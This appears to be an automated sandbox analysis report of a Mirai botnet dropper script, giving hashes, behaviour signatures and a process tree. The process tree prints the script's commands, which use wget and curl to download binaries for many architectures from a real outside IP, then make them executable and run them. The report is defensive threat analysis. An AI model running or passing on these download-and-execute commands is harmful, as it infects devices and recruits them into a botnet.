Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    07/12/2024, 14:42

General

  • Target

    1.sh

  • Size

    2KB

  • MD5

    5562819bed77a9cb62743843ee3a42ba

  • SHA1

    7b3934c9807c5fa51b62ac5758f33c68015e8591

  • SHA256

    cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e

  • SHA512

    d907f11e575e06dbcf6936eeb0deaa7112eb2b063c54334c5f5fcd5cb3cb7d725419ce3dd4e9fc12c727b02fa0db090c50194638cdcbe68863ea0c7acd370611

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 6 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 6 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1.sh
    /tmp/1.sh
    1⤵
    • Writes file to tmp directory
    PID:637
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:639
    • /usr/bin/wget
      wget http://64.235.45.196/hiddenbin/Space.arc
      2⤵
      • Writes file to tmp directory
      PID:645
    • /usr/bin/curl
      curl -O http://64.235.45.196/hiddenbin/Space.arc
      2⤵
      • Checks CPU configuration
      • Writes file to tmp directory
      PID:668
    • /bin/cat
      cat Space.arc
      2⤵
        PID:685
      • /bin/chmod
        chmod +x 1.sh busybox Space Space.arc systemd-private-02a04bb707184d66acc4eca724557e31-systemd-timedated.service-TSPlik
        2⤵
        • File and Directory Permissions Modification
        PID:686
      • /tmp/Space
        ./Space
        2⤵
        • Executes dropped EXE
        PID:688
      • /usr/bin/wget
        wget http://64.235.45.196/hiddenbin/Space.x86
        2⤵
        • Writes file to tmp directory
        PID:691
      • /usr/bin/curl
        curl -O http://64.235.45.196/hiddenbin/Space.x86
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:709
      • /bin/cat
        cat Space.x86
        2⤵
          PID:726
        • /bin/chmod
          chmod +x 1.sh busybox Space Space.arc Space.x86 systemd-private-02a04bb707184d66acc4eca724557e31-systemd-timedated.service-TSPlik
          2⤵
          • File and Directory Permissions Modification
          PID:727
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          PID:729
        • /usr/bin/wget
          wget http://64.235.45.196/hiddenbin/Space.x86_64
          2⤵
          • Writes file to tmp directory
          PID:731
        • /usr/bin/curl
          curl -O http://64.235.45.196/hiddenbin/Space.x86_64
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:749
        • /bin/cat
          cat Space.x86_64
          2⤵
            PID:756
          • /bin/chmod
            chmod +x 1.sh busybox Space Space.arc Space.x86 Space.x86_64 systemd-private-02a04bb707184d66acc4eca724557e31-systemd-timedated.service-TSPlik
            2⤵
            • File and Directory Permissions Modification
            PID:757
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            PID:758
          • /usr/bin/wget
            wget http://64.235.45.196/hiddenbin/Space.i686
            2⤵
            • Writes file to tmp directory
            PID:760
          • /usr/bin/curl
            curl -O http://64.235.45.196/hiddenbin/Space.i686
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:761
          • /bin/cat
            cat Space.i686
            2⤵
              PID:762
            • /bin/chmod
              chmod +x 1.sh busybox Space Space.arc Space.i686 Space.x86 Space.x86_64 systemd-private-02a04bb707184d66acc4eca724557e31-systemd-timedated.service-TSPlik
              2⤵
              • File and Directory Permissions Modification
              PID:763
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:764
            • /usr/bin/wget
              wget http://64.235.45.196/hiddenbin/Space.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:766
            • /usr/bin/curl
              curl -O http://64.235.45.196/hiddenbin/Space.mips
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:767
            • /bin/cat
              cat Space.mips
              2⤵
              • System Network Configuration Discovery
              PID:768
            • /bin/chmod
              chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 systemd-private-02a04bb707184d66acc4eca724557e31-systemd-timedated.service-TSPlik
              2⤵
              • File and Directory Permissions Modification
              PID:769
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:770
            • /usr/bin/wget
              wget http://64.235.45.196/hiddenbin/Space.mips64
              2⤵
              • System Network Configuration Discovery
              PID:772
            • /usr/bin/curl
              curl -O http://64.235.45.196/hiddenbin/Space.mips64
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:773
            • /bin/cat
              cat Space.mips64
              2⤵
              • System Network Configuration Discovery
              PID:774
            • /bin/chmod
              chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 systemd-private-02a04bb707184d66acc4eca724557e31-systemd-timedated.service-TSPlik
              2⤵
              • File and Directory Permissions Modification
              PID:775
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:776
            • /usr/bin/wget
              wget http://64.235.45.196/hiddenbin/Space.mpsl
              2⤵
              • Writes file to tmp directory
              PID:777
            • /usr/bin/curl
              curl -O http://64.235.45.196/hiddenbin/Space.mpsl
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:778
            • /bin/cat
              cat Space.mpsl
              2⤵
                PID:781
              • /bin/chmod
                chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-02a04bb707184d66acc4eca724557e31-systemd-timedated.service-TSPlik
                2⤵
                • File and Directory Permissions Modification
                PID:782
              • /tmp/Space
                ./Space
                2⤵
                • Executes dropped EXE
                PID:783
              • /usr/bin/wget
                wget http://64.235.45.196/hiddenbin/Space.arm
                2⤵
                • Writes file to tmp directory
                PID:785
              • /usr/bin/curl
                curl -O http://64.235.45.196/hiddenbin/Space.arm
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:786
              • /bin/cat
                cat Space.arm
                2⤵
                  PID:787
                • /bin/chmod
                  chmod +x 1.sh busybox Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-02a04bb707184d66acc4eca724557e31-systemd-timedated.service-TSPlik
                  2⤵
                  • File and Directory Permissions Modification
                  PID:788
                • /tmp/Space
                  ./Space
                  2⤵
                  • Executes dropped EXE
                  • Modifies Watchdog functionality
                  • Writes file to system bin folder
                  • Reads runtime system information
                  PID:789
                • /usr/bin/wget
                  wget http://64.235.45.196/hiddenbin/Space.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:795
                • /usr/bin/curl
                  curl -O http://64.235.45.196/hiddenbin/Space.arm5
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:796
                • /bin/cat
                  cat Space.arm5
                  2⤵
                    PID:799
                  • /bin/chmod
                    chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-02a04bb707184d66acc4eca724557e31-systemd-timedated.service-TSPlik
                    2⤵
                    • File and Directory Permissions Modification
                    PID:800
                  • /tmp/Space
                    ./Space
                    2⤵
                    • Executes dropped EXE
                    PID:801
                  • /usr/bin/wget
                    wget http://64.235.45.196/hiddenbin/Space.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:802
                  • /usr/bin/curl
                    curl -O http://64.235.45.196/hiddenbin/Space.arm6
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:803
                  • /bin/cat
                    cat Space.arm6
                    2⤵
                      PID:804
                    • /bin/chmod
                      chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-02a04bb707184d66acc4eca724557e31-systemd-timedated.service-TSPlik
                      2⤵
                      • File and Directory Permissions Modification
                      PID:805
                    • /tmp/Space
                      ./Space
                      2⤵
                      • Executes dropped EXE
                      • Modifies Watchdog functionality
                      • Writes file to system bin folder
                      • Reads runtime system information
                      PID:806
                    • /usr/bin/wget
                      wget http://64.235.45.196/hiddenbin/Space.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:815
                    • /usr/bin/curl
                      curl -O http://64.235.45.196/hiddenbin/Space.arm7
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:818
                    • /bin/cat
                      cat Space.arm7
                      2⤵
                        PID:819
                      • /bin/chmod
                        chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64
                        2⤵
                        • File and Directory Permissions Modification
                        PID:820
                      • /tmp/Space
                        ./Space
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Writes file to system bin folder
                        • Reads runtime system information
                        PID:821
                      • /usr/bin/wget
                        wget http://64.235.45.196/hiddenbin/Space.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:827
                      • /usr/bin/curl
                        curl -O http://64.235.45.196/hiddenbin/Space.ppc
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:828
                      • /bin/cat
                        cat Space.ppc
                        2⤵
                          PID:831
                        • /bin/chmod
                          chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_64
                          2⤵
                          • File and Directory Permissions Modification
                          PID:832
                        • /tmp/Space
                          ./Space
                          2⤵
                          • Executes dropped EXE
                          PID:833
                        • /usr/bin/wget
                          wget http://64.235.45.196/hiddenbin/Space.sparc
                          2⤵
                            PID:835
                          • /usr/bin/curl
                            curl -O http://64.235.45.196/hiddenbin/Space.sparc
                            2⤵
                            • Checks CPU configuration
                            • Writes file to tmp directory
                            PID:836
                          • /bin/cat
                            cat Space.sparc
                            2⤵
                              PID:837
                            • /bin/chmod
                              chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64
                              2⤵
                              • File and Directory Permissions Modification
                              PID:838
                            • /tmp/Space
                              ./Space
                              2⤵
                              • Executes dropped EXE
                              PID:839
                            • /usr/bin/wget
                              wget http://64.235.45.196/hiddenbin/Space.m68k
                              2⤵
                              • Writes file to tmp directory
                              PID:840
                            • /usr/bin/curl
                              curl -O http://64.235.45.196/hiddenbin/Space.m68k
                              2⤵
                              • Checks CPU configuration
                              • Writes file to tmp directory
                              PID:841
                            • /bin/cat
                              cat Space.m68k
                              2⤵
                                PID:842
                              • /bin/chmod
                                chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64
                                2⤵
                                • File and Directory Permissions Modification
                                PID:843
                              • /tmp/Space
                                ./Space
                                2⤵
                                • Executes dropped EXE
                                PID:844
                              • /usr/bin/wget
                                wget http://64.235.45.196/hiddenbin/Space.sh4
                                2⤵
                                • Writes file to tmp directory
                                PID:846
                              • /usr/bin/curl
                                curl -O http://64.235.45.196/hiddenbin/Space.sh4
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:847
                              • /bin/cat
                                cat Space.sh4
                                2⤵
                                  PID:848
                                • /bin/chmod
                                  chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_64
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:849
                                • /tmp/Space
                                  ./Space
                                  2⤵
                                  • Executes dropped EXE
                                  PID:850

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/Space

                                Filesize

                                37KB

                                MD5

                                aec405b96527fb13ac254737c4e99388

                                SHA1

                                c6accf2fe5ead7e9eb8bfe46083c2c26c981a812

                                SHA256

                                643028ebd06ad279eaec9747223df4f8f37f8ac25dad3836d5dab7ac06ddec25

                                SHA512

                                cd83c16a621448a8a622987f99a4e21d12432eb7aee58354ca9ad076f2a5ed136e8726aca5ae6b759746cbd1a1f7b88ccc637b2a2a75249a954dba2fd791038c

                              • /tmp/Space

                                Filesize

                                36KB

                                MD5

                                d294488fa1da5599dbeff70a8f8facfd

                                SHA1

                                51b4cef2d5975502642c27575caaf163b27ac93d

                                SHA256

                                2e0182aa49aa05af67a8de21340458cef09572828993b1a0d31ba70f3af274ff

                                SHA512

                                90034d380995e5c978c3e69f25e612612d02e03b2f994e097fddb625d805681f151768a8ec279e3270cf4e29829845bd9be9fe22ba46f481b43c5bd3ce85203a

                              • /tmp/Space

                                Filesize

                                37KB

                                MD5

                                5a7d8d47b585ede114c2b1347ac1b2d1

                                SHA1

                                87d3c5ebff1f235dfc1135c4571afede2698cd59

                                SHA256

                                474c75d0648d4fd8ba02f1bf140caa40d820c0a1653c94265edb9feafc737eb2

                                SHA512

                                1541200e7c17cb7da6388fbddafa9dc3f58f6480469ad0e71d7c72770e3980189ae469d824a483dc0337edf5df6e2a4e00a8790c80edf668f8e14d54ba648829

                              • /tmp/Space

                                Filesize

                                43KB

                                MD5

                                6a0b8c5c9c76155d79b10d1e4935a295

                                SHA1

                                6af1ecc7237d7a864454a564f8f9092cba21c86f

                                SHA256

                                f283e689e8342b62ae6b7f8d86f4bf08b08ea3a437a8683597a96cc0552ff2e6

                                SHA512

                                890fc040cda6de308b6a323087fa9e3208d603bf283da317e475fee00ddba9d26a95d21bc7ae5cfc0afeeee54f203992a3d9e1ea5d2d674dc871fd0a88fa2584

                              • /tmp/Space

                                Filesize

                                95KB

                                MD5

                                58f8d8b8020569858c2ba1d62150ac3a

                                SHA1

                                c861d4213716007ad54e27d809e5f36168b3ba08

                                SHA256

                                146b00117560177ad077d15c9c6bd613bfcfb56e2970e47d20bbf95f3be2e5be

                                SHA512

                                2b4de71f266f5e4799fb3609e0036fae1c2fbe090407a51b9d5bc58e47ffbd6cc348699d624869e0e8b7e293a13f687fbb6e54c8ecf5d990ede50ea3835c5011

                              • /tmp/Space.arc

                                Filesize

                                113KB

                                MD5

                                85a94700ab0be116bd593ba440c7a408

                                SHA1

                                26a4c515cbc06940c20c50d88c8910ba09fe6341

                                SHA256

                                b0dc38b80815fa4189ca8f3b607da6ddc060623d61696afc0bd0aaf90261de43

                                SHA512

                                6bc8be6c6feb701e49ab221cf5fb92d253c353d7dde98499439c861af999e42f68674e9d99dbbc688abc2bf7c02312198028605c924dc6d5ba2ef18220e42622

                              • /tmp/busybox

                                Filesize

                                507KB

                                MD5

                                e588bcf03ae78237b58899d35f50c570

                                SHA1

                                2194732ebbefbc27bdae876c77f2a97a20175710

                                SHA256

                                2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88

                                SHA512

                                904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555